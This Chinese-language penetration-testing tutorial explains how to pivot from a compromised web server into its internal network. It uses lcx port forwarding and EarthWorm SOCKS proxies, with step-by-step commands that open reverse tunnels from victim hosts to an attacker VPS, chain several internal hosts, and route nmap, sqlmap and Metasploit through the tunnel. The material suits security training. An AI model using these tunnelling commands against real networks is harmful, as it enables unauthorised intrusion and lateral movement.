0×01 引言
在實際滲透過程中,我們成功入侵了目標服務器。接着我們想在本機上通過瀏覽器或者其他客戶端軟件訪問目標機器內部網絡中所開放的端口,比如內網的3389端口、內網網站8080端口等等。傳統的方法是利用nc、lcx等工具,進行端口轉發。
適用端口轉發的網絡環境有以下幾種:
1. 服務器處於內網,可以訪問外部網絡。
2. 服務器處於外網,可以訪問外部網絡,但是服務器安裝了防火牆來拒絕敏感端口的連接。
3. 服務器處於內網,對外只開放了80端口,並且服務器不能訪問外網網絡。
對於以上三種情況,lcx可以突破1和2二種,但是第3種就沒有辦法了,因為lcx在使用中需要訪問外部網絡。
這里的第3種就可以用到我們今天重點要講的SOCKS代理。Socks是一種代理服務,可以簡單地將一端的系統連接到另外一端。支持多種協議,包括http、ftp請求及其它類型的請求。它分socks 4 和socks 5兩種類型,socks 4只支持TCP協議而socks 5支持TCP/UDP協議,還支持各種身份驗證機制等協議。其標准端口為1080。
Socks在滲透測試中使用特別廣泛,能夠很方便讓我們與目標內網計算機之間通信,避免了一次又一次使用端口轉發的麻煩。比較常見的Socks5工具有htran,reGeorg等,socks4的有metasploit。
在實際滲透測試過程中,當我們成功的拿下第一台堡壘機后,此時我們又想對目標內網進一步滲透測試時,socks能夠幫助我們更加快速的,方便的訪問目標內網的各種資源,比傳統的端口轉發更加實用。
0×02 滲透環境
此次滲透的環境:左側是我的個人電腦(內網)和一台有公網IP的VPS,右側是一個小型內網。假設我們現在已經滲透了一台WEB服務器,該服務器內網IP為10.48.128.25。經過掃描,右側小型內網網絡結構如圖所示。其中我們控制的WEB服務器是連接外網和內網的關鍵節點,內網其他服務器均不能直接連接。圖是我老婆用CAD畫的,還不錯吧!: )
0×03 socket端口轉發
首先我們介紹下最為經典也是使用最為頻繁的端口轉發工具lcx,lcx.exe 是一個基於 socket 套接字實現的端口轉發工具,它是從 linux 下的htran 工具移植到windows平台的。一條正常的socket隧道必具備兩端,一側為服務端,它會監聽一個端口等待客戶端連接;另一側為客戶端,通過傳入服務端的ip和端口,才能主動連接到服務器。
比如要轉發上圖中目標機器10.48.128.25的3389端口:
1、在目標機器10.48.128.25上執行
1
|
lcx.exe –slave 139.XXX.XX.113 9000 10.48.128.25 3389
|
此段命令意思是將目標機器3389端口的所有數據都轉發到公網VPS的9000端口上。
2、在VPS上執行
1
|
lcx.exe –listen 9000 5555
|
此段命令意思是將本機9000端口上監聽到的所有數據轉發到本機的5555端口上。
3、在左側的My PC機上用mstsc登陸139.XXX.XX.113:5555或者在VPS上用mstsc登陸127.0.0.1:5555。即可訪問右側內部網絡中10.48.128.25服務器的3389端口。
Lcx工具實現的是一對一的端口轉發,如果想訪問右側網絡中列出的所有端口,就必須一次次的重復lcx的轉發過程,效率相當低下。而且服務器都是有裝有殺毒軟件的,即使有做免殺也不能保證繞過所有的殺毒。
像這種情況就可以用到socks代理,在10.48.128.25這台既能連接互聯網又能連接內網的WEB服務器上架設代理。
0×04 SOCKS代理工具
socks代理其實也可理解為一個增強版的 lcx,它在服務端監聽一個服務端口,當有新的連接請求時會從socks協議中解析出訪問目標的URL的目標端口,再開始執行lcx的具體功能。網絡上Socks代理工具有很多,選用的時候盡可能使用無GUI界面的工具,還有盡可能不需要安裝其他依賴軟件,能夠支持多平台操作系統的更佳。
1. Earthworm 工具網址:http://rootkiter.com/EarthWorm
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆松土。工具包中提供了多種可執行文件,以適用不同的操作系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用。
目前已經有了最新版Termite,工具網址:http://rootkiter.com/Termite/
2.reGeorg 工具網址:https://github.com/NoneNotNull/reGeorg
reGeorg是reDuh的升級版,主要是把內網服務器的端口通過http/https隧道轉發到本機,形成一個回路。用於目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。它利用webshell建立一個socks代理進行內網穿透,服務器必須支持aspx、php或jsp這些web程序中的一種。
3.sSocks 工具網址:http://sourceforge.net/projects/ssocks/
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支持socks5驗證,支持IPV6和UDP,並提供反向socks代理服務,即將遠程計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.13。
4.SocksCap64 工具網址:http://www.sockscap64.com (需翻牆)
SocksCap64是一款在windows下相當好使的全局代理軟件。SocksCap64可以使Windows應用程序通過SOCKS代理服務器來訪問網絡而不需要對這些應用程序做任何修改, 即使某些本身不支持SOCKS代理的應用程序通過SocksCap64之后都可以完美的實現代理訪問。
5.proxychains 工具網址:http://proxychains.sourceforge.net/
Proxychains是一款在LINUX下可以實現全局代理的軟件,性能相當穩定可靠。在使任何程序通過代理上網,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務器。
0×05 架設代理服務端
在實際滲透測試中,我經常使用的socks工具是EW,該程序體積很小,LINUX的只有30KB左右,Windows下面的也只有56KB,而且不需要再做其他設置,真的是居家旅行之必備之物。
下載打開EW軟件文件夾,可以看到有針對各種系統用的程序,如下圖:
根據你實際的操作系統選用就可以了,因為我們此次滲透是WINDOWS的所以就用ew_for_win.exe這個程序了。EW的使用也非常簡單,該工具共有 6 種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
首先介紹用於普通網絡環境的正向連接ssocksd命令和反彈連接rcsocks命令、rssocks命令,再介紹用於復雜網絡環境的多級級聯。
# 簡單解釋下正向代理和反向代理的區別,正向代理就是我們主動通過proxy來訪問目標機器,反向代理就是目標機器通過proxy主動來連接我們。
1. 正向socks v5服務器 適用於目標機器擁有一個外網IP
1
|
ew –s ssocksd –l 888
|
上述命令架設了一個端口為888,SOCKS的代理。然后使用sockscap64添加這個IP的代理就可以使用了。比較簡單就不演示了。
2. 反彈socks v5服務器 適用於目標機器沒有公網IP,但可訪問內網資源
A. 先上傳ew 到左側ip地址為139.XXX.XX.113公網VPS的C盤上,運行下列命令:
1
|
ew -s rcsocks -l 1008 -e 888
|
該命令的意思是在我們公網VPS上添加一個轉接隧道,把1080端口收到的代理請求轉交給888端口
B. 上傳EW到右側IP地址為10.48.128.25的WEB服務器C盤上,運行下列命令:
1
|
ew -s rssocks -d 139.XXX.XX.113 -e 888
|
該命令的意思是在10.48.128.25上啟動SOCKS V5服務,並反彈到IP地址為139.XXX.XX.113左側公網VPS的888端口上。
C. 返回我們公網VPS的CMD界面下,可以看到已經反彈成功了。現在就可以通過訪問139.XXX.XX.113:1008端口使用在右側10.48.128.25架設的SOCKS5代理服務了。
3.二級網絡環境(一)
假設我們獲得了右側A主機和B主機的控制權限,A主機配有2塊網卡,一塊連通外網,一塊10.48.128.25只能連接內網B主機,無法訪問內網其它資源。B主機可以訪問內網資源,但無法訪問外網。
A.先上傳ew到B主機,利用ssocksd方式啟動888端口的SOCKS代理,命令如下:
1
|
ew -s ssocksd -l 888
|
B.上傳ew到右側A主機,運行下列命令:
1
|
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
|
該命令意思是將1080端口收到的代理請求轉交給B主機(10.48.128.49)的888端口。
C.可以通過訪問A主機外網139.XXX.XX.113:1080來使用在B主機架設的socks5代理。
4.二級網絡環境(二)
假設我們獲得了右側A主機和B主機的控制權限,A主機沒有公網IP,也無法訪問內網資源。B主機可以訪問內網資源,但無法訪問外網。
這個操作分為4步,用到lcx_listen和lcx_slave命令:
A. 先上傳ew 到左側公網VPS上,運行下列命令:
1
|
ew –s lcx_listen –l 10800 –e 888
|
該命令意思是在公網VPS添加轉接隧道,將10800端口收到的代理請求轉交給888端口。
B.上傳ew到右側B主機,並利用ssocksd方式啟動999端口的socks代理,命令如下:
1
|
ew -s ssocksd -l 999
|
C.上傳ew 到右側A主機,運行下列命令:
1
|
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999
|
該命令意思是在A主機上利用lcx_slave方式,將公網VPS的888端口和B主機的999端口連接起來。
D. 返回我們公網VPS的CMD界面下,可以看到已經連接成功了。
現在就可以通過訪問公網VPS地址 139.XXX.XX.113:10800來使用在B主機架設的socks5代理。
5.三級網絡環境
三級網絡環境在實際滲透中用的比較少,也比較復雜,現在我們來一個個的講解下三級級聯的用法。
假設滲透場景:右側內網A主機沒有公網IP但可以訪問外網,B主機不能訪問外網但可以被A主機訪問、C主機可被B主機訪問而且能夠訪問核心區域。
A.在左側公網VPS上運行命令,將1080端口收到的代理請求轉交給888端口:
1
|
ew -s rcsocks -l 1080 -e 888
|
B.在A主機上運行命令,將公網VPS的888端口和B主機的999端口連接起來:
1
|
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999
|
C.在B主機上運行命令,將999端口收到的代理請求轉交給777端口:
1
|
ew -s lcx_listen -l 999 -e 777
|
D.在C主機上啟動SOCKS V5服務,並反彈到B主機的777端口上,命令如下。
1
|
ew -s rssocks -d 10.48.128.12 -e 777
|
E.在MY PC上可以通過訪問公網VPS 139.XXX.XX.113:1080來使用在C主機架設的socks5代理。
整個數據流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks
0×06 內網漫游
1.Windows下使用sockscap64
首先下載安裝好SocksCap64后,以管理員權限打開。默認瀏覽器已經添加。
使用比較簡單,點擊代理,點擊添加一個代理,然后設置下代理服務器IP和端口就可以使用了。設置好后可以點擊軟件右邊有個閃電的小圓點,測試下當前代理服務器是否可以連接,如下圖,連接是正常的。
這個時候就可以選擇瀏覽器,右擊在代理隧道中運行選中的程序,然后我們就可以自由訪問我們想訪問的內網資源了,比如我們可以訪問10.48.128.22路由的80端口,如下圖:
可以看到我們已經成功的通過socks代理漫游內部網絡WEB資源,我們接着看看還有哪些程序能夠利用SOCKSCAP的程序通過代理訪問內網中的哪些端口了?
嘗試登陸10.48.128.20的3389端口,可以看到成功登陸。
我們可以在我們的公網VPS的命令行下可以看到,不停的有數據的交換。再嘗試PUTTY訪問10.48.128.49的22端口,成功登陸。
再試試VNC端口,因為10.48.128.25開了5900端口,OK,成功訪問。大家可以看到這種利用SOCKS代理實現一對多端口映射的優勢立刻就體現了出來,效率倍增。
但是將掃描工具進行SOCKSCAP代理,然后對內網網段進行掃描,我沒有嘗試成功,大家可以多多的嘗試各種工具!我在代理下用掃描工具一般都是用proxychains,大家接着往下看!
2.LINUX下使用proxychains
KALI系統已經預裝好了這個工具,我們稍作配置就可以使用,打開終端,輸入命令:
1
2
|
vi /etc/proxychains.conf
# 順便補充下LINUX下Vim編輯器簡單使用方法
|
使用上面命令進入文本后,摁“i”鍵就進入了編輯模式,可以對文本進行修改,修改完后摁esc 然后摁住shift+; 左下角會出現一個冒號,如下圖。
這個時候輸入wq,摁回車保存並退出。
第一步先刪掉dynamic_chain前面的注釋符(也就是#符號),如下圖
然后拉到最下面,把默認是socks4 127.0.0.1 9050 的地方改成我們架設的代理服務139.XXX.XX.113 1008
這樣就設置完成了,我們接着測試下代理服務是否正常,在終端輸入
1
|
proxyresolv www.baidu.com
|
此時如上圖所示會顯示未找到命令,不要擔心,繼續在終端輸入下列命令
1
|
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
|
然后再次測試下代理服務器是否正常,如下圖,顯示OK就表示配置正確了。
現在我們就可以愉快的暢游內網了,照例先訪問內網網站試試看,我們先在終端輸入proxychains firefox啟動火狐瀏覽器。
等個幾秒鍾,火狐就打開了,我們還是訪問10.48.128.22路由的80端口看看。
順利打開,可以看到kali里面的數據不停的交換,我們再打開10.48.128.48看看,也是可以訪問的,一個Zend服務器測試頁。
接着就到了我們的重頭戲了,我們找幾個具有代表性的工具試試,先看看NMAP和SQLMAP好使不!
如上圖所示,均表示相當好使,我們最后再試試大殺器-Metasploit可不可以用。
我們隨便找個IP掃掃看端口,如下圖所示,已經開始掃描了。
其他工具就不再一一介紹了。
The End.
最后感謝rootkiter寫出了如此優秀的軟件。